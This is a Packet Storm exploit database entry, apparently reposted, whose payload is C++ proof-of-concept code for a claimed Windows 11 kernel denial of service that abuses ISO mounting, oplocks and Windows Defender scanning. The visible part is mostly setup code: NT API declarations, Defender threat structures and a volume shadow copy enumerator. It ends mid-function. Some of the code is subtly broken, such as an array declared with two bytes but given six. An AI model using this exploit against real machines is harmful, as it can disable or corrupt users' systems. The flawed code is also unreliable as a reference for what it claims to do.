{“lastseen”:”2026-06-18T16:09:22″,”description”:”Proof of concept exploit for a logic-based denial of service vulnerability in Windows 11 25H2 Build 26200 that causes permanent kernel state corruption through ISO mounting, oplocks, and Windows Defender scanning…”,”published”:”2026-06-18T00:00:00″,”modified”:”2026-06-18T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Microsoft Windows Kernel ISO Mount \/ Oplock Deserialization Denial of Service”,”source”:””,”references”:””,”id”:”PACKETSTORM:223817″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”==================================================================================================================================\\n | # Title : Windows Kernel Logical Denial of Service via ISO Mount + Oplock Deserialization |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 151.0.3 (64 bits) |\\n | # Vendor : Windows 11 25H2 (Build 26200) and later |\\n ==================================================================================================================================\\n \\n [+] Summary : A Logical Denial of Service (LDoS) vulnerability in Windows 11 25H2 (Build 26200) that causes permanent kernel state corruption through ISO mounting, oplocks, and Windows Defender scanning.\\n \\n [+] Payload : \\n \\n \\n #define _CRT_SECURE_NO_WARNINGS\\n #define _WIN32_DCOM\\n #include \\u003ciostream\\u003e\\n #include \\u003cWindows.h\\u003e\\n #include \\u003cPsapi.h\\u003e\\n #include \\u003cwinternl.h\\u003e\\n #include \\u003cconio.h\\u003e\\n #include \\u003cntstatus.h\\u003e\\n #include \\u003cvirtdisk.h\\u003e\\n #include \\u003cshlwapi.h\\u003e\\n #include \\u003cinitguid.h\\u003e\\n #include \\u003cole2.h\\u003e\\n #include \\u003ccomdef.h\\u003e\\n #include \\u003ctaskschd.h\\u003e\\n #include \\u003cbcrypt.h\\u003e\\n #include \\u003cstdio.h\\u003e\\n #include \\u003cstdlib.h\\u003e\\n #include \\u003cstring.h\\u003e\\n #include \\u003ctime.h\\u003e\\n \\n #pragma comment(lib, \\”kernel32.lib\\”)\\n #pragma comment(lib, \\”bcrypt.lib\\”)\\n #pragma comment(lib, \\”taskschd.lib\\”)\\n #pragma comment(lib, \\”comsupp.lib\\”)\\n #pragma comment(lib, \\”virtdisk.lib\\”)\\n #pragma comment(lib, \\”ntdll.lib\\”)\\n #pragma comment(lib, \\”Rpcrt4.lib\\”)\\n #pragma comment(lib, \\”shlwapi.lib\\”)\\n \\n wchar_t zippath[MAX_PATH] = { 0 };\\n HMODULE ntdllhm = NULL;\\n HANDLE g_poseidonevent = NULL;\\n bool g_poseidonexit = false;\\n char g_poseidonbuf[0x1000] = { 0 };\\n \\n unsigned char rawData[2] = {\\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x00\\n };\\n \\n NTSTATUS(WINAPI* _NtSetInformationFile)(\\n HANDLE FileHandle,\\n PIO_STATUS_BLOCK IoStatusBlock,\\n PVOID FileInformation,\\n ULONG Length,\\n FILE_INFORMATION_CLASS FileInformationClass\\n ) = NULL;\\n \\n NTSTATUS(WINAPI* _NtDeleteFile)(\\n _In_ POBJECT_ATTRIBUTES ObjectAttributes\\n ) = NULL;\\n \\n NTSTATUS(WINAPI* _NtOpenDirectoryObject)(\\n PHANDLE DirectoryHandle,\\n ACCESS_MASK DesiredAccess,\\n POBJECT_ATTRIBUTES ObjectAttributes\\n ) = NULL;\\n \\n NTSTATUS(WINAPI* _NtQueryDirectoryObject)(\\n HANDLE DirectoryHandle,\\n PVOID Buffer,\\n ULONG Length,\\n BOOLEAN ReturnSingleEntry,\\n BOOLEAN RestartScan,\\n PULONG Context,\\n PULONG ReturnLength\\n ) = NULL;\\n \\n NTSTATUS(WINAPI* _NtQueryInformationFile)(\\n HANDLE FileHandle,\\n PIO_STATUS_BLOCK IoStatusBlock,\\n PVOID FileInformation,\\n ULONG Length,\\n FILE_INFORMATION_CLASS FileInformationClass\\n ) = NULL;\\n \\n #define RtlOffsetToPointer(Base, Offset) ((PUCHAR)(((PUCHAR)(Base)) + ((ULONG_PTR)(Offset))))\\n namespace custom_defs {\\n typedef enum _SYSTEM_INFORMATION_CLASS {\\n SystemBasicInformation,\\n SystemProcessorInformation,\\n SystemPerformanceInformation,\\n SystemTimeOfDayInformation,\\n SystemPathInformation,\\n SystemProcessInformation,\\n SystemCallCountInformation,\\n SystemDeviceInformation,\\n SystemProcessorPerformanceInformation,\\n SystemFlagsInformation,\\n SystemCallTimeInformation,\\n SystemModuleInformation,\\n SystemLocksInformation,\\n SystemStackTraceInformation,\\n SystemPagedPoolInformation,\\n SystemNonPagedPoolInformation,\\n SystemHandleInformation,\\n SystemObjectInformation,\\n SystemPageFileInformation,\\n SystemVdmInstemulInformation,\\n SystemVdmBopInformation,\\n SystemFileCacheInformation,\\n SystemPoolTagInformation,\\n SystemInterruptInformation,\\n SystemDpcBehaviorInformation,\\n SystemFullMemoryInformation,\\n SystemLoadGdiDriverInformation,\\n SystemUnloadGdiDriverInformation,\\n SystemTimeAdjustmentInformation,\\n SystemSummaryMemoryInformation,\\n SystemMirrorMemoryInformation,\\n SystemPerformanceTraceInformation,\\n SystemObsolete0,\\n SystemExceptionInformation,\\n SystemCrashDumpStateInformation,\\n SystemKernelDebuggerInformation,\\n SystemContextSwitchInformation,\\n SystemRegistryQuotaInformation,\\n SystemExtendServiceTableInformation,\\n SystemPrioritySeparation,\\n SystemVerifierAddDriverInformation,\\n SystemVerifierRemoveDriverInformation,\\n SystemProcessorIdleInformation,\\n SystemLegacyDriverInformation,\\n SystemCurrentTimeZoneInformation,\\n SystemLookasideInformation,\\n SystemTimeSlipNotification,\\n SystemSessionCreate,\\n SystemSessionDetach,\\n SystemSessionInformation,\\n SystemRangeStartInformation,\\n SystemVerifierInformation,\\n SystemVerifierThunkExtend,\\n SystemSessionProcessInformation,\\n SystemLoadGdiDriverInSystemSpace,\\n SystemNumaProcessorMap,\\n SystemPrefetcherInformation,\\n SystemExtendedProcessInformation,\\n SystemRecommendedSharedDataAlignment,\\n SystemComPlusPackage,\\n SystemNumaAvailableMemory,\\n SystemProcessorPowerInformation,\\n SystemEmulationBasicInformation,\\n SystemEmulationProcessorInformation,\\n SystemExtendedHandleInformation,\\n SystemLostDelayedWriteInformation,\\n SystemBigPoolInformation,\\n SystemSessionPoolTagInformation,\\n SystemSessionMappedViewInformation,\\n SystemHotpatchInformation,\\n SystemObjectSecurityMode,\\n SystemWatchdogTimerHandler,\\n SystemWatchdogTimerInformation,\\n SystemLogicalProcessorInformation,\\n SystemWow64SharedInformationObsolete,\\n SystemRegisterFirmwareTableInformationHandler,\\n SystemFirmwareTableInformation,\\n SystemModuleInformationEx,\\n SystemVerifierTriageInformation,\\n SystemSuperfetchInformation,\\n SystemMemoryListInformation,\\n SystemFileCacheInformationEx,\\n SystemThreadPriorityClientIdInformation,\\n SystemProcessorIdleCycleTimeInformation,\\n SystemVerifierCancellationInformation,\\n SystemProcessorPowerInformationEx,\\n SystemRefTraceInformation,\\n SystemSpecialPoolInformation,\\n SystemProcessIdInformation,\\n SystemErrorPortInformation,\\n SystemBootEnvironmentInformation,\\n SystemHypervisorInformation,\\n SystemVerifierInformationEx,\\n SystemTimeZoneInformation,\\n SystemImageFileExecutionOptionsInformation,\\n SystemCoverageInformation,\\n SystemPrefetchPatchInformation,\\n SystemVerifierFaultsInformation,\\n SystemSystemPartitionInformation,\\n SystemSystemDiskInformation,\\n SystemProcessorPerformanceDistribution,\\n SystemNumaProximityNodeInformation,\\n SystemDynamicTimeZoneInformation,\\n SystemCodeIntegrityInformation,\\n SystemProcessorMicrocodeUpdateInformation,\\n SystemProcessorBrandString,\\n SystemVirtualAddressInformation,\\n SystemLogicalProcessorAndGroupInformation,\\n SystemProcessorCycleTimeInformation,\\n SystemStoreInformation,\\n SystemRegistryAppendString,\\n SystemAitSamplingValue,\\n SystemVhdBootInformation,\\n SystemCpuQuotaInformation,\\n SystemNativeBasicInformation,\\n SystemErrorPortTimeouts,\\n SystemLowPriorityIoInformation,\\n SystemTpmBootEntropyInformation,\\n SystemVerifierCountersInformation,\\n SystemPagedPoolInformationEx,\\n SystemSystemPtesInformationEx,\\n SystemNodeDistanceInformation,\\n SystemAcpiAuditInformation,\\n SystemBasicPerformanceInformation,\\n SystemQueryPerformanceCounterInformation,\\n SystemSessionBigPoolInformation,\\n SystemBootGraphicsInformation,\\n SystemScrubPhysicalMemoryInformation,\\n SystemBadPageInformation,\\n SystemProcessorProfileControlArea,\\n SystemCombinePhysicalMemoryInformation,\\n SystemEntropyInterruptTimingInformation,\\n SystemConsoleInformation,\\n SystemPlatformBinaryInformation,\\n SystemPolicyInformation,\\n SystemHypervisorProcessorCountInformation,\\n SystemDeviceDataInformation,\\n SystemDeviceDataEnumerationInformation,\\n SystemMemoryTopologyInformation,\\n SystemMemoryChannelInformation,\\n SystemBootLogoInformation,\\n SystemProcessorPerformanceInformationEx,\\n SystemCriticalProcessErrorLogInformation,\\n SystemSecureBootPolicyInformation,\\n SystemPageFileInformationEx,\\n SystemSecureBootInformation,\\n SystemEntropyInterruptTimingRawInformation,\\n SystemPortableWorkspaceEfiLauncherInformation,\\n SystemFullProcessInformation,\\n SystemKernelDebuggerInformationEx,\\n SystemBootMetadataInformation,\\n SystemSoftRebootInformation,\\n SystemElamCertificateInformation,\\n SystemOfflineDumpConfigInformation,\\n SystemProcessorFeaturesInformation,\\n SystemRegistryReconciliationInformation,\\n SystemEdidInformation,\\n SystemManufacturingInformation,\\n SystemEnergyEstimationConfigInformation,\\n SystemHypervisorDetailInformation,\\n SystemProcessorCycleStatsInformation,\\n SystemVmGenerationCountInformation,\\n SystemTrustedPlatformModuleInformation,\\n SystemKernelDebuggerFlags,\\n SystemCodeIntegrityPolicyInformation,\\n SystemIsolatedUserModeInformation,\\n SystemHardwareSecurityTestInterfaceResultsInformation,\\n SystemSingleModuleInformation,\\n SystemAllowedCpuSetsInformation,\\n SystemVsmProtectionInformation,\\n SystemInterruptCpuSetsInformation,\\n SystemSecureBootPolicyFullInformation,\\n SystemCodeIntegrityPolicyFullInformation,\\n SystemAffinitizedInterruptProcessorInformation,\\n SystemRootSiloInformation,\\n SystemCpuSetInformation,\\n SystemCpuSetTagInformation,\\n SystemWin32WerStartCallout,\\n SystemSecureKernelProfileInformation,\\n SystemCodeIntegrityPlatformManifestInformation,\\n SystemInterruptSteeringInformation,\\n SystemSupportedProcessorArchitectures,\\n SystemMemoryUsageInformation,\\n SystemCodeIntegrityCertificateInformation,\\n SystemPhysicalMemoryInformation,\\n SystemControlFlowTransition,\\n SystemKernelDebuggingAllowed,\\n SystemActivityModerationExeState,\\n SystemActivityModerationUserSettings,\\n SystemCodeIntegrityPoliciesFullInformation,\\n SystemCodeIntegrityUnlockInformation,\\n SystemIntegrityQuotaInformation,\\n SystemFlushInformation,\\n SystemProcessorIdleMaskInformation,\\n SystemSecureDumpEncryptionInformation,\\n SystemWriteConstraintInformation,\\n SystemKernelVaShadowInformation,\\n SystemHypervisorSharedPageInformation,\\n SystemFirmwareBootPerformanceInformation,\\n SystemCodeIntegrityVerificationInformation,\\n SystemFirmwarePartitionInformation,\\n SystemSpeculationControlInformation,\\n SystemDmaGuardPolicyInformation,\\n SystemEnclaveLaunchControlInformation,\\n SystemWorkloadAllowedCpuSetsInformation,\\n SystemCodeIntegrityUnlockModeInformation,\\n SystemLeapSecondInformation,\\n SystemFlags2Information,\\n SystemSecurityModelInformation,\\n SystemCodeIntegritySyntheticCacheInformation,\\n SystemFeatureConfigurationInformation,\\n SystemFeatureConfigurationSectionInformation,\\n SystemFeatureUsageSubscriptionInformation,\\n SystemSecureSpeculationControlInformation,\\n SystemSpacesBootInformation,\\n SystemFwRamdiskInformation,\\n SystemWheaIpmiHardwareInformation,\\n SystemDifSetRuleClassInformation,\\n SystemDifClearRuleClassInformation,\\n SystemDifApplyPluginVerificationOnDriver,\\n SystemDifRemovePluginVerificationOnDriver,\\n SystemShadowStackInformation,\\n SystemBuildVersionInformation,\\n SystemPoolLimitInformation,\\n SystemCodeIntegrityAddDynamicStore,\\n SystemCodeIntegrityClearDynamicStores,\\n SystemDifPoolTrackingInformation,\\n SystemPoolZeroingInformation,\\n SystemDpcWatchdogInformation,\\n SystemDpcWatchdogInformation2,\\n SystemSupportedProcessorArchitectures2,\\n SystemSingleProcessorRelationshipInformation,\\n SystemXfgCheckFailureInformation,\\n SystemIommuStateInformation,\\n SystemHypervisorMinrootInformation,\\n SystemHypervisorBootPagesInformation,\\n SystemPointerAuthInformation,\\n SystemSecureKernelDebuggerInformation,\\n SystemOriginalImageFeatureInformation,\\n SystemMemoryNumaInformation,\\n SystemMemoryNumaPerformanceInformation,\\n SystemCodeIntegritySignedPoliciesFullInformation,\\n SystemSecureCoreInformation,\\n SystemTrustedAppsRuntimeInformation,\\n SystemBadPageInformationEx,\\n SystemResourceDeadlockTimeout,\\n SystemBreakOnContextUnwindFailureInformation,\\n SystemOslRamdiskInformation,\\n SystemCodeIntegrityPolicyManagementInformation,\\n SystemMemoryNumaCacheInformation,\\n SystemProcessorFeaturesBitMapInformation,\\n SystemRefTraceInformationEx,\\n SystemBasicProcessInformation,\\n SystemHandleCountInformation,\\n SystemRuntimeAttestationReport,\\n SystemPoolTagInformation2,\\n SystemCodeIntegrityEndpointSecurityInformation,\\n MaxSystemInfoClass\\n } SYSTEM_INFORMATION_CLASS;\\n typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX {\\n PVOID Object;\\n HANDLE UniqueProcessId;\\n HANDLE HandleValue;\\n ACCESS_MASK GrantedAccess;\\n USHORT CreatorBackTraceIndex;\\n USHORT ObjectTypeIndex;\\n ULONG HandleAttributes;\\n ULONG Reserved;\\n } SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO_EX;\\n typedef struct _SYSTEM_HANDLE_INFORMATION_EX {\\n ULONG_PTR NumberOfHandles;\\n ULONG_PTR Reserved;\\n _Field_size_(NumberOfHandles) SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX Handles[1];\\n } SYSTEM_HANDLE_INFORMATION_EX, * PSYSTEM_HANDLE_INFORMATION_EX;\\n typedef enum _FILE_INFORMATION_CLASS {\\n FileDirectoryInformation = 1,\\n FileFullDirectoryInformation,\\n FileBothDirectoryInformation,\\n FileBasicInformation,\\n FileStandardInformation,\\n FileInternalInformation,\\n FileEaInformation,\\n FileAccessInformation,\\n FileNameInformation,\\n FileRenameInformation,\\n FileLinkInformation,\\n FileNamesInformation,\\n FileDispositionInformation,\\n FilePositionInformation,\\n FileFullEaInformation,\\n FileModeInformation,\\n FileAlignmentInformation,\\n FileAllInformation,\\n FileAllocationInformation,\\n FileEndOfFileInformation,\\n FileAlternateNameInformation,\\n FileStreamInformation,\\n FilePipeInformation,\\n FilePipeLocalInformation,\\n FilePipeRemoteInformation,\\n FileMailslotQueryInformation,\\n FileMailslotSetInformation,\\n FileCompressionInformation,\\n FileObjectIdInformation,\\n FileCompletionInformation,\\n FileMoveClusterInformation,\\n FileQuotaInformation,\\n FileReparsePointInformation,\\n FileNetworkOpenInformation,\\n FileAttributeTagInformation,\\n FileTrackingInformation,\\n FileIdBothDirectoryInformation,\\n FileIdFullDirectoryInformation,\\n FileValidDataLengthInformation,\\n FileShortNameInformation,\\n FileIoCompletionNotificationInformation,\\n FileIoStatusBlockRangeInformation,\\n FileIoPriorityHintInformation,\\n FileSfioReserveInformation,\\n FileSfioVolumeInformation,\\n FileHardLinkInformation,\\n FileProcessIdsUsingFileInformation,\\n FileNormalizedNameInformation,\\n FileNetworkPhysicalNameInformation,\\n FileIdGlobalTxDirectoryInformation,\\n FileIsRemoteDeviceInformation,\\n FileUnusedInformation,\\n FileNumaNodeInformation,\\n FileStandardLinkInformation,\\n FileRemoteProtocolInformation,\\n FileRenameInformationBypassAccessCheck,\\n FileLinkInformationBypassAccessCheck,\\n FileVolumeNameInformation,\\n FileIdInformation,\\n FileIdExtdDirectoryInformation,\\n FileReplaceCompletionInformation,\\n FileHardLinkFullIdInformation,\\n FileIdExtdBothDirectoryInformation,\\n FileDispositionInformationEx,\\n FileRenameInformationEx,\\n FileRenameInformationExBypassAccessCheck,\\n FileDesiredStorageClassInformation,\\n FileStatInformation,\\n FileMemoryPartitionInformation,\\n FileStatLxInformation,\\n FileCaseSensitiveInformation,\\n FileLinkInformationEx,\\n FileLinkInformationExBypassAccessCheck,\\n FileStorageReserveIdInformation,\\n FileCaseSensitiveInformationForceAccessCheck,\\n FileKnownFolderInformation,\\n FileStatBasicInformation,\\n FileId64ExtdDirectoryInformation,\\n FileId64ExtdBothDirectoryInformation,\\n FileIdAllExtdDirectoryInformation,\\n FileIdAllExtdBothDirectoryInformation,\\n FileStreamReservationInformation,\\n FileMupProviderInfo,\\n FileMaximumInformation\\n } FILE_INFORMATION_CLASS, * PFILE_INFORMATION_CLASS;\\n }\\n typedef HANDLE MPHANDLE;\\n typedef HANDLE* PMPHANDLE;\\n typedef ULONG MPTHREAT_ID;\\n typedef ULONG MPRESOURCE_CLASS;\\n typedef LPWSTR MP_MIDL_STRING;\\n \\n typedef enum tagMPTHREAT_TYPE {\\n MPTHREAT_TYPE_KNOWNBAD = 0,\\n MPTHREAT_TYPE_BEHAVIOR = 1,\\n MPTHREAT_TYPE_UNKNOWN = 2,\\n MPTHREAT_TYPE_KNOWNGOOD = 3,\\n MPTHREAT_TYPE_NIS = 4,\\n MPTHREAT_TYPE_MAXVALUE = 4\\n } MPTHREAT_TYPE;\\n \\n typedef enum tagMPTHREAT_SOURCE {\\n MPTHREAT_SOURCE_SCAN = 0,\\n MPTHREAT_SOURCE_ACTIVE = 1,\\n MPTHREAT_SOURCE_HISTORY = 2,\\n MPTHREAT_SOURCE_QUARANTINE = 3,\\n MPTHREAT_SOURCE_SIGNATURE = 4,\\n MPTHREAT_SOURCE_STATE = 5,\\n MPTHREAT_SOURCE_MAXVALUE = 5\\n } MPTHREAT_SOURCE;\\n \\n typedef enum tagMPSCAN_TYPE {\\n MPSCAN_TYPE_UNKNOWN = 0,\\n MPSCAN_TYPE_QUICK = 1,\\n MPSCAN_TYPE_FULL = 2,\\n MPSCAN_TYPE_RESOURCE = 3,\\n MPSCAN_TYPE_MAXVALUE = 3\\n } MPSCAN_TYPE;\\n \\n typedef enum tagMPTHREAT_ACTION {\\n MP_THREAT_ACTION_UNKNOWN = 0,\\n MP_THREAT_ACTION_CLEAN = 1,\\n MP_THREAT_ACTION_QUARANTINE = 2,\\n MP_THREAT_ACTION_REMOVE = 3,\\n MP_THREAT_ACTION_ALLOW = 6,\\n MP_THREAT_ACTION_USERDEFINED = 8,\\n MP_THREAT_ACTION_NOACTION = 9,\\n MP_THREAT_ACTION_BLOCK = 10,\\n MP_THREAT_ACTION_MAX_VALUE = 10\\n } MPTHREAT_ACTION;\\n \\n typedef struct tagMPTHREAT_INFO {\\n MPTHREAT_ID ThreatID;\\n GUID DetectionID;\\n MP_MIDL_STRING Name;\\n MPTHREAT_TYPE ThreatType;\\n MPTHREAT_SEVERITY ThreatCriticality;\\n MPTHREAT_CATEGORY ThreatCategory;\\n DWORD ThreatShortDescriptionID;\\n DWORD ThreatAdviseDescriptionID;\\n MPTHREAT_STATUS ThreatStatus;\\n DWORD SuggestedActionCount;\\n MPTHREAT_ACTION SuggestedActionArray[10000];\\n DWORD ResourceCount;\\n PVOID ResourceList[1024];\\n ULARGE_INTEGER ThreatStatusTime;\\n HRESULT ThreatStatusCode;\\n DWORD ThreatDetection;\\n GUID QuarantineGuid;\\n DWORD ExecutionStatus;\\n PVOID Data;\\n DWORD State;\\n MP_MIDL_STRING DetectionUser;\\n DWORD DetectionSource;\\n MP_MIDL_STRING ProcessName;\\n DWORD DetectionOrigin;\\n DWORD reserved1;\\n ULARGE_INTEGER DetectionTime;\\n DWORD PreExecutionStatus;\\n ULARGE_INTEGER RemediationTime;\\n DWORD PostExecutionStatus;\\n BOOL CriticalFailure;\\n DWORD NonCriticalReason;\\n MP_MIDL_STRING RemediationUser;\\n DWORD RemediationResourceCount;\\n PVOID RemediationResourceList[1024];\\n BOOL FailureResolved;\\n DWORD ResolvedReason;\\n DWORD AdditionalActions;\\n DWORD ResolvedActions;\\n DWORD dwThreatStatusFlag;\\n } MPTHREAT_INFO, * PMPTHREAT_INFO;\\n \\n typedef struct tagMPRESOURCE_INFO {\\n MP_MIDL_STRING Scheme;\\n MP_MIDL_STRING Path;\\n MPRESOURCE_CLASS Class;\\n } MPRESOURCE_INFO, * PMPRESOURCE_INFO;\\n \\n typedef struct tagMPSCAN_RESOURCES {\\n DWORD dwResourceCount;\\n PMPRESOURCE_INFO pResourceList;\\n } MPSCAN_RESOURCES, * PMPSCAN_RESOURCES;\\n \\n typedef struct tagMPCALLBACK_INFO {\\n void* CallbackHandler;\\n __int64 v4;\\n } MPCALLBACK_INFO, * PMPCALLBACK_INFO;\\n typedef struct _FILE_BASIC_INFORMATION {\\n LARGE_INTEGER CreationTime;\\n LARGE_INTEGER LastAccessTime;\\n LARGE_INTEGER LastWriteTime;\\n LARGE_INTEGER ChangeTime;\\n ULONG FileAttributes;\\n } FILE_BASIC_INFORMATION, * PFILE_BASIC_INFORMATION;\\n \\n typedef struct _FILE_RENAME_INFORMATION {\\n union {\\n BOOLEAN ReplaceIfExists;\\n ULONG Flags;\\n } DUMMYUNIONNAME;\\n HANDLE RootDirectory;\\n ULONG FileNameLength;\\n WCHAR FileName[1];\\n } FILE_RENAME_INFORMATION, * PFILE_RENAME_INFORMATION;\\n \\n typedef struct _REPARSE_DATA_BUFFER {\\n ULONG ReparseTag;\\n USHORT ReparseDataLength;\\n USHORT Reserved;\\n union {\\n struct {\\n USHORT SubstituteNameOffset;\\n USHORT SubstituteNameLength;\\n USHORT PrintNameOffset;\\n USHORT PrintNameLength;\\n ULONG Flags;\\n WCHAR PathBuffer[1];\\n } SymbolicLinkReparseBuffer;\\n struct {\\n USHORT SubstituteNameOffset;\\n USHORT SubstituteNameLength;\\n USHORT PrintNameOffset;\\n USHORT PrintNameLength;\\n WCHAR PathBuffer[1];\\n } MountPointReparseBuffer;\\n struct {\\n UCHAR DataBuffer[1];\\n } GenericReparseBuffer;\\n } DUMMYUNIONNAME;\\n } REPARSE_DATA_BUFFER, * PREPARSE_DATA_BUFFER;\\n \\n #define REPARSE_DATA_BUFFER_HEADER_LENGTH FIELD_OFFSET(REPARSE_DATA_BUFFER, GenericReparseBuffer.DataBuffer)\\n #define REPARSE_GUID_DATA_BUFFER_HEADER_SIZE 0x8\\n \\n typedef struct _FILE_DISPOSITION_INFORMATION_EX {\\n ULONG Flags;\\n } FILE_DISPOSITION_INFORMATION_EX, * PFILE_DISPOSITION_INFORMATION_EX;\\n typedef struct _OBJECT_DIRECTORY_INFORMATION {\\n UNICODE_STRING Name;\\n UNICODE_STRING TypeName;\\n } OBJECT_DIRECTORY_INFORMATION, * POBJECT_DIRECTORY_INFORMATION;\\n struct LLShadowVolumeNames {\\n wchar_t* name;\\n LLShadowVolumeNames* next;\\n };\\n void DestroyVSSNamesList(LLShadowVolumeNames* First) {\\n while (First) {\\n free(First-\\u003ename);\\n LLShadowVolumeNames* next = First-\\u003enext;\\n free(First);\\n First = next;\\n }\\n }\\n LLShadowVolumeNames* RetrieveCurrentVSSList(HANDLE hobjdir, bool* criticalerr, int* vscnumber, DWORD* errorcode) {\\n if (!criticalerr || !vscnumber || !errorcode)\\n return NULL;\\n *vscnumber = 0;\\n ULONG scanctx = 0;\\n ULONG reqsz = sizeof(OBJECT_DIRECTORY_INFORMATION) + (UNICODE_STRING_MAX_BYTES * 2);\\n ULONG retsz = 0;\\n OBJECT_DIRECTORY_INFORMATION* objdirinfo = (OBJECT_DIRECTORY_INFORMATION*)malloc(reqsz);\\n if (!objdirinfo) {\\n printf(\\”[!] Failed to allocate buffer for object manager directory query.\\\\n\\”);\\n *criticalerr = true;\\n *errorcode = ERROR_NOT_ENOUGH_MEMORY;\\n return NULL;\\n }\\n ZeroMemory(objdirinfo, reqsz);\\n NTSTATUS stat = STATUS_SUCCESS;\\n \\n do {\\n stat = _NtQueryDirectoryObject(hobjdir, objdirinfo, reqsz, FALSE, FALSE, \\u0026scanctx, \\u0026retsz);\\n if (stat == STATUS_SUCCESS)\\n break;\\n else if (stat != STATUS_MORE_ENTRIES) {\\n printf(\\”[!] NtQueryDirectoryObject failed with 0x%0.8X\\\\n\\”, stat);\\n *criticalerr = true;\\n *errorcode = RtlNtStatusToDosError(stat);\\n return NULL;\\n }\\n free(objdirinfo);\\n reqsz += sizeof(OBJECT_DIRECTORY_INFORMATION) + 0x100;\\n objdirinfo = (OBJECT_DIRECTORY_INFORMATION*)malloc(reqsz);\\n if (!objdirinfo) {\\n printf(\\”[!] Failed to allocate required buffer to query object manager directory.\\\\n\\”);\\n *criticalerr = true;\\n *errorcode = ERROR_NOT_ENOUGH_MEMORY;\\n return NULL;\\n }\\n ZeroMemory(objdirinfo, reqsz);\\n } while (1);\\n void* emptybuff = malloc(sizeof(OBJECT_DIRECTORY_INFORMATION));\\n ZeroMemory(emptybuff, sizeof(OBJECT_DIRECTORY_INFORMATION));\\n LLShadowVolumeNames* LLVSScurrent = NULL;\\n LLShadowVolumeNames* LLVSSfirst = NULL;\\n for (ULONG i = 0; i \\u003c ULONG_MAX; i++) {\\n if (memcmp(\\u0026objdirinfo[i], emptybuff, sizeof(OBJECT_DIRECTORY_INFORMATION)) == 0) {\\n free(emptybuff);\\n break;\\n }\\n if (_wcsicmp(L\\”Device\\”, objdirinfo[i].TypeName.Buffer) == 0) {\\n wchar_t cmpstr[] = { L\\”HarddiskVolumeShadowCopy\\” };\\n if (objdirinfo[i].Name.Length \\u003e= sizeof(cmpstr)) {\\n if (memcmp(cmpstr, objdirinfo[i].Name.Buffer, sizeof(cmpstr) – sizeof(wchar_t)) == 0) {\\n (*vscnumber)++;\\n if (LLVSScurrent) {\\n LLVSScurrent-\\u003enext = (LLShadowVolumeNames*)malloc(sizeof(LLShadowVolumeNames));\\n if (!LLVSScurrent-\\u003enext) {\\n printf(\\”[!] Failed to allocate memory.\\\\n\\”);\\n *criticalerr = true;\\n *errorcode = ERROR_NOT_ENOUGH_MEMORY;\\n DestroyVSSNamesList(LLVSSfirst);\\n free(objdirinfo);\\n return NULL;\\n }\\n ZeroMemory(LLVSScurrent-\\u003enext, sizeof(LLShadowVolumeNames));\\n LLVSScurrent = LLVSScurrent-\\u003enext;\\n LLVSScurrent-\\u003ename = (wchar_t*)malloc(objdirinfo[i].Name.Length + sizeof(wchar_t));\\n if (!LLVSScurrent-\\u003ename) {\\n printf(\\”[!] Failed to allocate memory.\\\\n\\”);\\n *errorcode = ERROR_NOT_ENOUGH_MEMORY;\\n *criticalerr = true;\\n DestroyVSSNamesList(LLVSSfirst);\\n free(objdirinfo);\\n return NULL;\\n }\\n ZeroMemory(LLVSScurrent-\\u003ename, objdirinfo[i].Name.Length + sizeof(wchar_t));\\n memmove(LLVSScurrent-\\u003ename, objdirinfo[i].Name.Buffer, objdirinfo[i].Name.Length);\\n } else {\\n LLVSSfirst = (LLShadowVolumeNames*)malloc(sizeof(LLShadowVolumeNames));\\n if (!LLVSSfirst) {\\n printf(\\”[!] Failed to allocate memory.\\\\n\\”);\\n *errorcode = ERROR_NOT_ENOUGH_MEMORY;\\n *criticalerr = true;\\n DestroyVSSNamesList(LLVSSfirst);\\n free(objdirinfo);\\n return NULL;\\n }\\n ZeroMemory(LLVSSfirst, sizeof(LLShadowVolumeNames));\\n LLVSScurrent = LLVSSfirst;\\n LLVSScurrent-\\u003ename = (wchar_t*)malloc(objdirinfo[i].Name.Length + sizeof(wchar_t));\\n if (!LLVSScurrent-\\u003ename) {\\n printf(\\”[!] Failed to allocate memory.\\\\n\\”);\\n *errorcode = ERROR_NOT_ENOUGH_MEMORY;\\n *criticalerr = true;\\n DestroyVSSNamesList(LLVSSfirst);\\n free(objdirinfo);\\n return NULL;\\n }\\n ZeroMemory(LLVSScurrent-\\u003ename, objdirinfo[i].Name.Length + sizeof(wchar_t));\\n memmove(LLVSScurrent-\\u003ename, objdirinfo[i].Name.Buffer, objdirinfo[i].Name.Length);\\n }\\n }\\n }\\n }\\n }\\n \\n free(objdirinfo);\\n return LLVSSfirst;\\n }\\n \\n DWORD WINAPI ShadowCopyFinderThread(void* fullvsspath) {\\n wchar_t devicepath[] = L\\”\\\\\\\\Device\\”;\\n UNICODE_STRING udevpath = { 0 };\\n RtlInitUnicodeString(\\u0026udevpath, devicepath);\\n OBJECT_ATTRIBUTES objattr = { 0 };\\n InitializeObjectAttributes(\\u0026objattr, \\u0026udevpath, OBJ_CASE_INSENSITIVE, NULL, NULL);\\n NTSTATUS stat = STATUS_SUCCESS;\\n HANDLE hobjdir = NULL;\\n DWORD retval = ERROR_SUCCESS;\\n wchar_t newvsspath[MAX_PATH] = { 0 };\\n wcscpy(newvsspath, L\\”\\\\\\\\Device\\\\\\\\\\”);\\n bool criterr = false;\\n int vscnum = 0;\\n bool restartscan = false;\\n ULONG scanctx = 0;\\n ULONG reqsz = sizeof(OBJECT_DIRECTORY_INFORMATION) + (UNICODE_STRING_MAX_BYTES * 2);\\n ULONG retsz = 0;\\n OBJECT_DIRECTORY_INFORMATION* objdirinfo = NULL;\\n bool srchfound = false;\\n wchar_t vsswinpath[MAX_PATH] = { 0 };\\n UNICODE_STRING _vsswinpath = { 0 };\\n OBJECT_ATTRIBUTES objattr2 = { 0 };\\n IO_STATUS_BLOCK iostat = { 0 };\\n HANDLE hlk = NULL;\\n LLShadowVolumeNames* vsinitial = NULL;\\n stat = _NtOpenDirectoryObject(\\u0026hobjdir, 0x0001, \\u0026objattr);\\n if (stat) {\\n printf(\\”[!] Failed to open object manager directory, error: 0x%0.8X\\\\n\\”, stat);\\n retval = 